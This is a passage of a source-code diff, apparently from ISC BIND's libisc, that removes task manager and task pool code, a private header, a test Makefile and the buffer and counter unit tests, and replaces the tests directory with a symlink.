-		result = ISC_R_NOTFOUND;
-	}
-	UNLOCK(&mgr->excl_lock);
-
-	return (result);
-}
-
-isc_result_t
-isc_task_beginexclusive(isc_task_t *task) {
-	isc_taskmgr_t *manager;
-
-	REQUIRE(VALID_TASK(task));
-
-	manager = task->manager;
-
-	REQUIRE(task->state == task_state_running);
-
-	LOCK(&manager->excl_lock);
-	REQUIRE(task == task->manager->excl ||
-		(atomic_load_relaxed(&task->manager->exiting) &&
-		 task->manager->excl == NULL));
-	UNLOCK(&manager->excl_lock);
-
-	if (!atomic_compare_exchange_strong(&manager->exclusive_req,
-					    &(bool){ false }, true))
-	{
-		return (ISC_R_LOCKBUSY);
-	}
-
-	isc_nm_pause(manager->netmgr);
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc_task_endexclusive(isc_task_t *task) {
-	isc_taskmgr_t *manager;
-
-	REQUIRE(VALID_TASK(task));
-	REQUIRE(task->state == task_state_running);
-	manager = task->manager;
-
-	isc_nm_resume(manager->netmgr);
-	REQUIRE(atomic_compare_exchange_strong(&manager->exclusive_req,
-					       &(bool){ true }, false));
-}
-
-void
-isc_taskmgr_setmode(isc_taskmgr_t *manager, isc_taskmgrmode_t mode) {
-	atomic_store(&manager->mode, mode);
-}
-
-isc_taskmgrmode_t
-isc_taskmgr_mode(isc_taskmgr_t *manager) {
-	return (atomic_load(&manager->mode));
-}
-
-void
-isc_task_setprivilege(isc_task_t *task, bool priv) {
-	REQUIRE(VALID_TASK(task));
-
-	atomic_store_release(&task->privileged, priv);
-}
-
-bool
-isc_task_getprivilege(isc_task_t *task) {
-	REQUIRE(VALID_TASK(task));
-
-	return (TASK_PRIVILEGED(task));
-}
-
-bool
-isc_task_privileged(isc_task_t *task) {
-	REQUIRE(VALID_TASK(task));
-
-	return (isc_taskmgr_mode(task->manager) && TASK_PRIVILEGED(task));
-}
-
-bool
-isc_task_exiting(isc_task_t *task) {
-	REQUIRE(VALID_TASK(task));
-
-	return (TASK_SHUTTINGDOWN(task));
-}
-
-#ifdef HAVE_LIBXML2
-#define TRY0(a)                     \
-	do {                        \
-		xmlrc = (a);        \
-		if (xmlrc < 0)      \
-			goto error; \
-	} while (0)
-int
-isc_taskmgr_renderxml(isc_taskmgr_t *mgr, void *writer0) {
-	isc_task_t *task = NULL;
-	int xmlrc;
-	xmlTextWriterPtr writer = (xmlTextWriterPtr)writer0;
-
-	LOCK(&mgr->lock);
-
-	/*
-	 * Write out the thread-model, and some details about each depending
-	 * on which type is enabled.
-	 */
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "thread-model"));
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "type"));
-	TRY0(xmlTextWriterWriteString(writer, ISC_XMLCHAR "threaded"));
-	TRY0(xmlTextWriterEndElement(writer)); /* type */
-
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "default-quantum"));
-	TRY0(xmlTextWriterWriteFormatString(writer, "%d",
-					    mgr->default_quantum));
-	TRY0(xmlTextWriterEndElement(writer)); /* default-quantum */
-
-	TRY0(xmlTextWriterEndElement(writer)); /* thread-model */
-
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "tasks"));
-	task = ISC_LIST_HEAD(mgr->tasks);
-	while (task != NULL) {
-		LOCK(&task->lock);
-		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "task"));
-
-		if (task->name[0] != 0) {
-			TRY0(xmlTextWriterStartElement(writer,
-						       ISC_XMLCHAR "name"));
-			TRY0(xmlTextWriterWriteFormatString(writer, "%s",
-							    task->name));
-			TRY0(xmlTextWriterEndElement(writer)); /* name */
-		}
-
-		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "reference"
-								   "s"));
-		TRY0(xmlTextWriterWriteFormatString(
-			writer, "%" PRIuFAST32,
-			isc_refcount_current(&task->references)));
-		TRY0(xmlTextWriterEndElement(writer)); /* references */
-
-		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "id"));
-		TRY0(xmlTextWriterWriteFormatString(writer, "%p", task));
-		TRY0(xmlTextWriterEndElement(writer)); /* id */
-
-		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "state"));
-		TRY0(xmlTextWriterWriteFormatString(writer, "%s",
-						    statenames[task->state]));
-		TRY0(xmlTextWriterEndElement(writer)); /* state */
-
-		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "quantum"));
-		TRY0(xmlTextWriterWriteFormatString(writer, "%d",
-						    task->quantum));
-		TRY0(xmlTextWriterEndElement(writer)); /* quantum */
-
-		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "events"));
-		TRY0(xmlTextWriterWriteFormatString(writer, "%d",
-						    task->nevents));
-		TRY0(xmlTextWriterEndElement(writer)); /* events */
-
-		TRY0(xmlTextWriterEndElement(writer));
-
-		UNLOCK(&task->lock);
-		task = ISC_LIST_NEXT(task, link);
-	}
-	TRY0(xmlTextWriterEndElement(writer)); /* tasks */
-
-error:
-	if (task != NULL) {
-		UNLOCK(&task->lock);
-	}
-	UNLOCK(&mgr->lock);
-
-	return (xmlrc);
-}
-#endif /* HAVE_LIBXML2 */
-
-#ifdef HAVE_JSON_C
-#define CHECKMEM(m)                              \
-	do {                                     \
-		if (m == NULL) {                 \
-			result = ISC_R_NOMEMORY; \
-			goto error;              \
-		}                                \
-	} while (0)
-
-isc_result_t
-isc_taskmgr_renderjson(isc_taskmgr_t *mgr, void *tasks0) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_task_t *task = NULL;
-	json_object *obj = NULL, *array = NULL, *taskobj = NULL;
-	json_object *tasks = (json_object *)tasks0;
-
-	LOCK(&mgr->lock);
-
-	/*
-	 * Write out the thread-model, and some details about each depending
-	 * on which type is enabled.
-	 */
-	obj = json_object_new_string("threaded");
-	CHECKMEM(obj);
-	json_object_object_add(tasks, "thread-model", obj);
-
-	obj = json_object_new_int(mgr->default_quantum);
-	CHECKMEM(obj);
-	json_object_object_add(tasks, "default-quantum", obj);
-
-	array = json_object_new_array();
-	CHECKMEM(array);
-
-	for (task = ISC_LIST_HEAD(mgr->tasks); task != NULL;
-	     task = ISC_LIST_NEXT(task, link))
-	{
-		char buf[255];
-
-		LOCK(&task->lock);
-
-		taskobj = json_object_new_object();
-		CHECKMEM(taskobj);
-		json_object_array_add(array, taskobj);
-
-		snprintf(buf, sizeof(buf), "%p", task);
-		obj = json_object_new_string(buf);
-		CHECKMEM(obj);
-		json_object_object_add(taskobj, "id", obj);
-
-		if (task->name[0] != 0) {
-			obj = json_object_new_string(task->name);
-			CHECKMEM(obj);
-			json_object_object_add(taskobj, "name", obj);
-		}
-
-		obj = json_object_new_int(
-			isc_refcount_current(&task->references));
-		CHECKMEM(obj);
-		json_object_object_add(taskobj, "references", obj);
-
-		obj = json_object_new_string(statenames[task->state]);
-		CHECKMEM(obj);
-		json_object_object_add(taskobj, "state", obj);
-
-		obj = json_object_new_int(task->quantum);
-		CHECKMEM(obj);
-		json_object_object_add(taskobj, "quantum", obj);
-
-		obj = json_object_new_int(task->nevents);
-		CHECKMEM(obj);
-		json_object_object_add(taskobj, "events", obj);
-
-		UNLOCK(&task->lock);
-	}
-
-	json_object_object_add(tasks, "tasks", array);
-	array = NULL;
-	result = ISC_R_SUCCESS;
-
-error:
-	if (array != NULL) {
-		json_object_put(array);
-	}
-
-	if (task != NULL) {
-		UNLOCK(&task->lock);
-	}
-	UNLOCK(&mgr->lock);
-
-	return (result);
-}
-#endif /* ifdef HAVE_JSON_C */
diff --git a/lib/isc/task_p.h b/lib/isc/task_p.h
deleted file mode 100644
index 4dda7d63ba..0000000000
--- a/lib/isc/task_p.h
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-#include <isc/mem.h>
-#include <isc/result.h>
-#include <isc/task.h>
-
-isc_result_t
-isc__taskmgr_create(isc_mem_t *mctx, unsigned int default_quantum, isc_nm_t *nm,
-		    isc_taskmgr_t **managerp);
-/*%<
- * Create a new task manager.
- *
- * Notes:
- *
- *\li	If 'default_quantum' is non-zero, then it will be used as the default
- *	quantum value when tasks are created.  If zero, then an implementation
- *	defined default quantum will be used.
- *
- *\li	If 'nm' is set then netmgr is paused when an exclusive task mode
- *	is requested.
- *
- * Requires:
- *
- *\li      'mctx' is a valid memory context.
- *
- *\li	managerp != NULL && *managerp == NULL
- *
- * Ensures:
- *
- *\li	On success, '*managerp' will be attached to the newly created task
- *	manager.
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- *\li	#ISC_R_NOTHREADS		No threads could be created.
- *\li	#ISC_R_UNEXPECTED		An unexpected error occurred.
- *\li	#ISC_R_SHUTTINGDOWN		The non-threaded, shared, task
- *					manager shutting down.
- */
-
-void
-isc__taskmgr_destroy(isc_taskmgr_t **managerp);
-/*%<
- * Destroy '*managerp'.
- *
- * Notes:
- *
- *\li	Calling isc_taskmgr_destroy() will shutdown all tasks managed by
- *	*managerp that haven't already been shutdown.  The call will block
- *	until all tasks have entered the done state.
- *
- *\li	isc_taskmgr_destroy() must not be called by a task event action,
- *	because it would block forever waiting for the event action to
- *	complete.  An event action that wants to cause task manager shutdown
- *	should request some non-event action thread of execution to do the
- *	shutdown, e.g. by signaling a condition variable or using
- *	isc_app_shutdown().
- *
- *\li	Task manager references are not reference counted, so the caller
- *	must ensure that no attempt will be made to use the manager after
- *	isc_taskmgr_destroy() returns.
- *
- * Requires:
- *
- *\li	'*managerp' is a valid task manager.
- *
- *\li   'isc__taskmgr_shutdown()' and isc__netmgr_shutdown() have been
- *	called.
- */
-
-void
-isc__taskmgr_shutdown(isc_taskmgr_t *manager);
-/*%>
- * Shutdown 'manager'.
- *
- * Notes:
- *
- *\li	Calling isc__taskmgr_shutdown() will shut down all tasks managed by
- *	*managerp that haven't already been shut down.
- *
- * Requires:
- *
- *\li   'manager' is a valid task manager.
- *
- *\li	isc_taskmgr_destroy() has not be called previously on '*managerp'.
- *
- * Ensures:
- *
- *\li	All resources used by the task manager, and any tasks it managed,
- *	have been freed.
- */
diff --git a/lib/isc/taskpool.c b/lib/isc/taskpool.c
deleted file mode 100644
index 81652d7d3a..0000000000
--- a/lib/isc/taskpool.c
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <stdbool.h>
-
-#include <isc/mem.h>
-#include <isc/random.h>
-#include <isc/taskpool.h>
-#include <isc/util.h>
-
-/***
- *** Types.
- ***/
-
-struct isc_taskpool {
-	isc_mem_t *mctx;
-	isc_taskmgr_t *tmgr;
-	unsigned int ntasks;
-	unsigned int quantum;
-	isc_task_t **tasks;
-};
-
-/***
- *** Functions.
- ***/
-
-static void
-alloc_pool(isc_taskmgr_t *tmgr, isc_mem_t *mctx, unsigned int ntasks,
-	   unsigned int quantum, isc_taskpool_t **poolp) {
-	isc_taskpool_t *pool;
-	unsigned int i;
-
-	pool = isc_mem_get(mctx, sizeof(*pool));
-
-	pool->mctx = NULL;
-	isc_mem_attach(mctx, &pool->mctx);
-	pool->ntasks = ntasks;
-	pool->quantum = quantum;
-	pool->tmgr = tmgr;
-	pool->tasks = isc_mem_get(mctx, ntasks * sizeof(isc_task_t *));
-	for (i = 0; i < ntasks; i++) {
-		pool->tasks[i] = NULL;
-	}
-
-	*poolp = pool;
-}
-
-isc_result_t
-isc_taskpool_create(isc_taskmgr_t *tmgr, isc_mem_t *mctx, unsigned int ntasks,
-		    unsigned int quantum, bool priv, isc_taskpool_t **poolp) {
-	unsigned int i;
-	isc_taskpool_t *pool = NULL;
-
-	INSIST(ntasks > 0);
-
-	/* Allocate the pool structure */
-	alloc_pool(tmgr, mctx, ntasks, quantum, &pool);
-
-	/* Create the tasks */
-	for (i = 0; i < ntasks; i++) {
-		isc_result_t result = isc_task_create_bound(tmgr, quantum,
-							    &pool->tasks[i], i);
-		if (result != ISC_R_SUCCESS) {
-			isc_taskpool_destroy(&pool);
-			return (result);
-		}
-		isc_task_setprivilege(pool->tasks[i], priv);
-		isc_task_setname(pool->tasks[i], "taskpool", NULL);
-	}
-
-	*poolp = pool;
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc_taskpool_gettask(isc_taskpool_t *pool, isc_task_t **targetp) {
-	isc_task_attach(pool->tasks[isc_random_uniform(pool->ntasks)], targetp);
-}
-
-int
-isc_taskpool_size(isc_taskpool_t *pool) {
-	REQUIRE(pool != NULL);
-	return (pool->ntasks);
-}
-
-isc_result_t
-isc_taskpool_expand(isc_taskpool_t **sourcep, unsigned int size, bool priv,
-		    isc_taskpool_t **targetp) {
-	isc_taskpool_t *pool;
-
-	REQUIRE(sourcep != NULL && *sourcep != NULL);
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	pool = *sourcep;
-	*sourcep = NULL;
-	if (size > pool->ntasks) {
-		isc_taskpool_t *newpool = NULL;
-		unsigned int i;
-
-		/* Allocate a new pool structure */
-		alloc_pool(pool->tmgr, pool->mctx, size, pool->quantum,
-			   &newpool);
-
-		/* Copy over the tasks from the old pool */
-		for (i = 0; i < pool->ntasks; i++) {
-			newpool->tasks[i] = pool->tasks[i];
-			pool->tasks[i] = NULL;
-		}
-
-		/* Create new tasks */
-		for (i = pool->ntasks; i < size; i++) {
-			isc_result_t result =
-				isc_task_create_bound(pool->tmgr, pool->quantum,
-						      &newpool->tasks[i], i);
-			if (result != ISC_R_SUCCESS) {
-				*sourcep = pool;
-				isc_taskpool_destroy(&newpool);
-				return (result);
-			}
-			isc_task_setprivilege(newpool->tasks[i], priv);
-			isc_task_setname(newpool->tasks[i], "taskpool", NULL);
-		}
-
-		isc_taskpool_destroy(&pool);
-		pool = newpool;
-	}
-
-	*targetp = pool;
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc_taskpool_destroy(isc_taskpool_t **poolp) {
-	unsigned int i;
-	isc_taskpool_t *pool = *poolp;
-	*poolp = NULL;
-	for (i = 0; i < pool->ntasks; i++) {
-		if (pool->tasks[i] != NULL) {
-			isc_task_detach(&pool->tasks[i]);
-		}
-	}
-	isc_mem_put(pool->mctx, pool->tasks,
-		    pool->ntasks * sizeof(isc_task_t *));
-	isc_mem_putanddetach(&pool->mctx, pool, sizeof(*pool));
-}
diff --git a/lib/isc/tests b/lib/isc/tests
new file mode 120000
index 0000000000..9c8d7ce1d0
--- /dev/null
+++ b/lib/isc/tests
@@ -0,0 +1 @@
+../../tests/isc
\ No newline at end of file
diff --git a/lib/isc/tests/Makefile.am b/lib/isc/tests/Makefile.am
deleted file mode 100644
index c8da51d3ee..0000000000
--- a/lib/isc/tests/Makefile.am
+++ /dev/null
@@ -1,98 +0,0 @@
-include $(top_srcdir)/Makefile.top
-include $(top_srcdir)/Makefile.tests
-
-AM_CPPFLAGS +=			\
-	$(LIBISC_CFLAGS)
-
-LDADD +=			\
-	libisctest.la		\
-	$(LIBISC_LIBS)
-
-check_LTLIBRARIES = libisctest.la
-libisctest_la_SOURCES =		\
-	../socket_p.h		\
-	isctest.c		\
-	isctest.h		\
-	uv_wrap.h
-
-TESTS =			\
-	aes_test	\
-	buffer_test	\
-	counter_test	\
-	crc64_test	\
-	doh_test	\
-	errno_test	\
-	file_test	\
-	hash_test	\
-	heap_test	\
-	hmac_test	\
-	ht_test		\
-	lex_test	\
-	md_test		\
-	mem_test	\
-	netaddr_test	\
-	netmgr_test	\
-	parse_test	\
-	pool_test	\
-	quota_test	\
-	radix_test	\
-	random_test	\
-	regex_test	\
-	result_test	\
-	safe_test	\
-	siphash_test	\
-	sockaddr_test	\
-	socket_test	\
-	symtab_test	\
-	task_test	\
-	taskpool_test	\
-	time_test	\
-	timer_test
-
-check_PROGRAMS =	\
-	$(TESTS)
-
-doh_test_CPPFLAGS =	\
-	$(AM_CPPFLAGS)	\
-	$(LIBUV_CFLAGS)	\
-	$(OPENSSL_CFLAGS)
-
-doh_test_LDADD =	\
-	$(LDADD)	\
-	$(LIBUV_LIBS)	\
-	$(OPENSSL_LIBS)
-
-hmac_test_CPPFLAGS =	\
-	$(AM_CPPFLAGS)	\
-	$(OPENSSL_CFLAGS)
-
-hmac_test_LDADD =	\
-	$(LDADD)	\
-	$(OPENSSL_LIBS)
-
-md_test_CPPFLAGS =	\
-	$(AM_CPPFLAGS)	\
-	$(OPENSSL_CFLAGS)
-
-md_test_LDADD =		\
-	$(LDADD)	\
-	$(OPENSSL_LIBS)
-
-random_test_LDADD =	\
-	$(LDADD)	\
-	-lm
-
-netmgr_test_CPPFLAGS =	\
-	$(AM_CPPFLAGS)	\
-	$(LIBUV_CFLAGS)	\
-	$(OPENSSL_CFLAGS)
-
-netmgr_test_LDADD =	\
-	$(LDADD)	\
-	$(LIBUV_LIBS)
-
-unit-local: check
-
-EXTRA_DIST = testdata
-
-LOG_COMPILER = $(builddir)/../../unit-test-driver.sh
diff --git a/lib/isc/tests/buffer_test.c b/lib/isc/tests/buffer_test.c
deleted file mode 100644
index a50431ce81..0000000000
--- a/lib/isc/tests/buffer_test.c
+++ /dev/null
@@ -1,349 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <fcntl.h>
-#include <limits.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/buffer.h>
-#include <isc/print.h>
-#include <isc/region.h>
-#include <isc/result.h>
-#include <isc/types.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-/* reserve space in dynamic buffers */
-static void
-isc_buffer_reserve_test(void **state) {
-	isc_result_t result;
-	isc_buffer_t *b;
-
-	UNUSED(state);
-
-	b = NULL;
-	isc_buffer_allocate(test_mctx, &b, 1024);
-	assert_int_equal(b->length, 1024);
-
-	/*
-	 * 1024 bytes should already be available, so this call does
-	 * nothing.
-	 */
-	result = isc_buffer_reserve(&b, 1024);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(ISC_BUFFER_VALID(b));
-	assert_non_null(b);
-	assert_int_equal(b->length, 1024);
-
-	/*
-	 * This call should grow it to 2048 bytes as only 1024 bytes are
-	 * available in the buffer.
-	 */
-	result = isc_buffer_reserve(&b, 1025);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(ISC_BUFFER_VALID(b));
-	assert_non_null(b);
-	assert_int_equal(b->length, 2048);
-
-	/*
-	 * 2048 bytes should already be available, so this call does
-	 * nothing.
-	 */
-	result = isc_buffer_reserve(&b, 2000);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(ISC_BUFFER_VALID(b));
-	assert_non_null(b);
-	assert_int_equal(b->length, 2048);
-
-	/*
-	 * This call should grow it to 4096 bytes as only 2048 bytes are
-	 * available in the buffer.
-	 */
-	result = isc_buffer_reserve(&b, 3000);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(ISC_BUFFER_VALID(b));
-	assert_non_null(b);
-	assert_int_equal(b->length, 4096);
-
-	/* Consume some of the buffer so we can run the next test. */
-	isc_buffer_add(b, 4096);
-
-	/*
-	 * This call should fail and leave buffer untouched.
-	 */
-	result = isc_buffer_reserve(&b, UINT_MAX);
-	assert_int_equal(result, ISC_R_NOMEMORY);
-	assert_true(ISC_BUFFER_VALID(b));
-	assert_non_null(b);
-	assert_int_equal(b->length, 4096);
-
-	isc_buffer_free(&b);
-}
-
-/* dynamic buffer automatic reallocation */
-static void
-isc_buffer_dynamic_test(void **state) {
-	isc_buffer_t *b;
-	size_t last_length = 10;
-	int i;
-
-	UNUSED(state);
-
-	b = NULL;
-	isc_buffer_allocate(test_mctx, &b, last_length);
-	assert_non_null(b);
-	assert_int_equal(b->length, last_length);
-
-	isc_buffer_setautorealloc(b, true);
-
-	isc_buffer_putuint8(b, 1);
-
-	for (i = 0; i < 1000; i++) {
-		isc_buffer_putstr(b, "thisisa24charslongstring");
-	}
-	assert_true(b->length - last_length >= 1000 * 24);
-	last_length += 1000 * 24;
-
-	for (i = 0; i < 10000; i++) {
-		isc_buffer_putuint8(b, 1);
-	}
-
-	assert_true(b->length - last_length >= 10000 * 1);
-	last_length += 10000 * 1;
-
-	for (i = 0; i < 10000; i++) {
-		isc_buffer_putuint16(b, 1);
-	}
-
-	assert_true(b->length - last_length >= 10000 * 2);
-
-	last_length += 10000 * 2;
-	for (i = 0; i < 10000; i++) {
-		isc_buffer_putuint24(b, 1);
-	}
-	assert_true(b->length - last_length >= 10000 * 3);
-
-	last_length += 10000 * 3;
-
-	for (i = 0; i < 10000; i++) {
-		isc_buffer_putuint32(b, 1);
-	}
-	assert_true(b->length - last_length >= 10000 * 4);
-
-	isc_buffer_free(&b);
-}
-
-/* copy a region into a buffer */
-static void
-isc_buffer_copyregion_test(void **state) {
-	unsigned char data[] = { 0x11, 0x22, 0x33, 0x44 };
-	isc_buffer_t *b = NULL;
-	isc_result_t result;
-
-	isc_region_t r = {
-		.base = data,
-		.length = sizeof(data),
-	};
-
-	UNUSED(state);
-
-	isc_buffer_allocate(test_mctx, &b, sizeof(data));
-
-	/*
-	 * Fill originally allocated buffer space.
-	 */
-	result = isc_buffer_copyregion(b, &r);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Appending more data to the buffer should fail.
-	 */
-	result = isc_buffer_copyregion(b, &r);
-	assert_int_equal(result, ISC_R_NOSPACE);
-
-	/*
-	 * Enable auto reallocation and retry.  Appending should now succeed.
-	 */
-	isc_buffer_setautorealloc(b, true);
-	result = isc_buffer_copyregion(b, &r);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_buffer_free(&b);
-}
-
-/* sprintf() into a buffer */
-static void
-isc_buffer_printf_test(void **state) {
-	unsigned int used, prev_used;
-	const char *empty_fmt;
-	isc_result_t result;
-	isc_buffer_t *b, sb;
-	char buf[8];
-
-	UNUSED(state);
-
-	/*
-	 * Prepare a buffer with auto-reallocation enabled.
-	 */
-	b = NULL;
-	isc_buffer_allocate(test_mctx, &b, 0);
-	isc_buffer_setautorealloc(b, true);
-
-	/*
-	 * Sanity check.
-	 */
-	result = isc_buffer_printf(b, "foo");
-	assert_int_equal(result, ISC_R_SUCCESS);
-	used = isc_buffer_usedlength(b);
-	assert_int_equal(used, 3);
-
-	result = isc_buffer_printf(b, "bar");
-	assert_int_equal(result, ISC_R_SUCCESS);
-	used = isc_buffer_usedlength(b);
-	assert_int_equal(used, 3 + 3);
-
-	/*
-	 * Also check the terminating NULL byte is there, even though it is not
-	 * part of the buffer's used region.
-	 */
-	assert_memory_equal(isc_buffer_current(b), "foobar", 7);
-
-	/*
-	 * Skip over data from previous check to prevent failures in previous
-	 * check from affecting this one.
-	 */
-	prev_used = used;
-	isc_buffer_forward(b, prev_used);
-
-	/*
-	 * Some standard usage checks.
-	 */
-	isc_buffer_printf(b, "%d", 42);
-	used = isc_buffer_usedlength(b);
-	assert_int_equal(used - prev_used, 2);
-
-	isc_buffer_printf(b, "baz%1X", 42);
-	used = isc_buffer_usedlength(b);
-	assert_int_equal(used - prev_used, 2 + 5);
-
-	isc_buffer_printf(b, "%6.1f", 42.42f);
-	used = isc_buffer_usedlength(b);
-	assert_int_equal(used - prev_used, 2 + 5 + 6);
-
-	/*
-	 * Also check the terminating NULL byte is there, even though it is not
-	 * part of the buffer's used region.
-	 */
-	assert_memory_equal(isc_buffer_current(b), "42baz2A  42.4", 14);
-
-	/*
-	 * Check an empty format string is properly handled.
-	 *
-	 * Note: we don't use a string literal for the format string to
-	 * avoid triggering [-Werror=format-zero-length].
-	 * Note: we have a dummy third argument as some compilers complain
-	 * without it.
-	 */
-	prev_used = used;
-	empty_fmt = "";
-	result = isc_buffer_printf(b, empty_fmt, "");
-	assert_int_equal(result, ISC_R_SUCCESS);
-	used = isc_buffer_usedlength(b);
-	assert_int_equal(prev_used, used);
-
-	isc_buffer_free(&b);
-
-	/*
-	 * Check overflow on a static buffer.
-	 */
-	isc_buffer_init(&sb, buf, sizeof(buf));
-	result = isc_buffer_printf(&sb, "123456");
-	assert_int_equal(result, ISC_R_SUCCESS);
-	used = isc_buffer_usedlength(&sb);
-	assert_int_equal(used, 6);
-
-	result = isc_buffer_printf(&sb, "789");
-	assert_int_equal(result, ISC_R_NOSPACE);
-	used = isc_buffer_usedlength(&sb);
-	assert_int_equal(used, 6);
-
-	result = isc_buffer_printf(&sb, "78");
-	assert_int_equal(result, ISC_R_NOSPACE);
-	used = isc_buffer_usedlength(&sb);
-	assert_int_equal(used, 6);
-
-	result = isc_buffer_printf(&sb, "7");
-	assert_int_equal(result, ISC_R_SUCCESS);
-	used = isc_buffer_usedlength(&sb);
-	assert_int_equal(used, 7);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(isc_buffer_reserve_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(isc_buffer_dynamic_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(isc_buffer_copyregion_test,
-						_setup, _teardown),
-		cmocka_unit_test_setup_teardown(isc_buffer_printf_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/counter_test.c b/lib/isc/tests/counter_test.c
deleted file mode 100644
index 52ee95bd69..0000000000
--- a/lib/isc/tests/counter_test.c
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/counter.h>
-#include <isc/result.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-/* test isc_counter object */
-static void
-isc_counter_test(void **state) {
-	isc_result_t result;
-	isc_counter_t *counter = NULL;
-	int i;
-
-	UNUSED(state);
-
-	result = isc_counter_create(test_mctx, 0, &counter);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	for (i = 0; i < 10; i++) {
-		result = isc_counter_increment(counter);
-		assert_int_equal(result, ISC_R_SUCCESS);
-	}
-
-	assert_int_equal(isc_counter_used(counter), 10);
-
-	isc_counter_setlimit(counter, 15);
-	for (i = 0; i < 10; i++) {
-		result = isc_counter_increment(counter);
-		if (result != ISC_R_SUCCESS) {
-			break;
-		}
-	}
-
-	assert_int_equal(isc_counter_used(counter), 15);
-
-	isc_counter_detach(&counter);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(isc_counter_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/crc64_test.c b/lib/isc/tests/crc64_test.c
deleted file mode 100644
index 0ee45441b2..0000000000
--- a/lib/isc/tests/crc64_test.c
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/* ! \file */
-
